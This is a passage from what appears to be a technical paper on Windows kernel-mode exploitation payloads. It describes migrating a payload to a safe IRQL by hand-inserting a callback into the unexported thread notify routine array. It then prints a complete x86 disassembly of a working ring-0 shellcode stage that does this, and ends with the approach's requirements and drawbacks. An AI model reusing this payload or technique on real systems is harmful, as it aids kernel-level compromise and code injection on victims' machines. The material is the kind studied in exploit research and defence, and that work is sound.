|Informative Information for the Uninformed|
Next: Hooking Object Type Initializer Up: Migration Previous: System Call MSR/IDT Hooking   Contents
Another technique that can be used to migrate a payload to a safe IRQL involves setting up a thread notify routine which is normally done by calling nt!PsSetCreateThreadNotifyRoutine. Unfortunately, the documentation states that this routine can only be called at PASSIVE_LEVEL, thus making it appear as if calling it from a payload would lead to problems. While this is true, it is also possible to manually create a notify routine by modifying the global array of thread notify routines. Although this array is not exported, it is easy to find by extracting an address reference to it from one of either nt!PsSetCreateThreadNotifyRoutine or nt!PsRemoveCreateThreadNotifyRoutine. By using this basic approach, it is possible to write a migration payload that transitions to PASSIVE_LEVEL by registering a callback that is called whenever a thread is created or deleted.
In more detail, a few steps must be taken in order to get this to work properly on 2000 and XP. The steps taken on 2003 should be pretty much the same as XP, but have not been tested.
A payload that implements the thread notify routine approach is shown below:
00000000 FC cld 00000001 A12CF1DFFF mov eax,[0xffdff12c] 00000006 48 dec eax 00000007 6631C0 xor ax,ax 0000000A 6681384D5A cmp word [eax],0x5a4d 0000000F 75F5 jnz 0x6 00000011 95 xchg eax,ebp 00000012 BF7002DFFF mov edi,0xffdf0270 00000017 803F01 cmp byte [edi],0x1 0000001A 66D1C7 rol di,1 0000001D 57 push edi 0000001E 750E jnz 0x2e 00000020 89F8 mov eax,edi 00000022 83C008 add eax,byte +0x8 00000025 AB stosd 00000026 AB stosd 00000027 57 push edi 00000028 6A06 push byte +0x6 0000002A 6A13 push byte +0x13 0000002C EB05 jmp short 0x33 0000002E 57 push edi 0000002F 6A81 push byte -0x7f 00000031 6A10 push byte +0x10 00000033 5A pop edx 00000034 31C9 xor ecx,ecx 00000036 8B7D3C mov edi,[ebp+0x3c] 00000039 8B7C3D78 mov edi,[ebp+edi+0x78] 0000003D 01EF add edi,ebp 0000003F 8B7720 mov esi,[edi+0x20] 00000042 01EE add esi,ebp 00000044 AD lodsd 00000045 41 inc ecx 00000046 01E8 add eax,ebp 00000048 813C10644E6F74 cmp dword [eax+edx],0x746f4e64 0000004F 75F3 jnz 0x44 00000051 49 dec ecx 00000052 8B5F24 mov ebx,[edi+0x24] 00000055 01EB add ebx,ebp 00000057 668B0C4B mov cx,[ebx+ecx*2] 0000005B 8B5F1C mov ebx,[edi+0x1c] 0000005E 01EB add ebx,ebp 00000060 8B048B mov eax,[ebx+ecx*4] 00000063 01E8 add eax,ebp 00000065 59 pop ecx 00000066 85C9 test ecx,ecx 00000068 8B1C08 mov ebx,[eax+ecx] 0000006B EB14 jmp short 0x81 0000006D 5E pop esi 0000006E 5F pop edi 0000006F 6A01 push byte +0x1 00000071 59 pop ecx 00000072 F3A5 rep movsd 00000074 7808 js 0x7e 00000076 5F pop edi 00000077 893B mov [ebx],edi 00000079 FF4320 inc dword [ebx+0x20] 0000007C EB02 jmp short 0x80 0000007E FFD0 call eax 00000080 C3 ret 00000081 E8E7FFFFFF call 0x6d ... R0 stage here ...
The R0 stage must keep in mind that it will be called in the context of a callback, so in order to ensure graceful recovery the stage must issue a ret 0xc or equivalent instruction upon completion. The R0 stage must also be capable of being re-entered without having any adverse side effects. This approach may also be compatible with 2003, but tests were not performed. This payload could be made significantly smaller if it were targeted to a specific OS version. One major benefit to this approach is that the stage will be passed arguments that are very useful for R3 code injection, such as a ProcessId and ThreadId.
This approach has quite a few cons. First, the size of the payload alone makes it less useful due to all the work required to just migrate to a safe IRQL. Furthermore, this payload also relies on offsets that may be unreliable across new versions of the operating system, specifically on XP. It also depends on the pages that the notify routine array resides at being paged in at the time of the registration. If they are not, the payload will fail if it is running at a raised IRQL that does not permit page faults.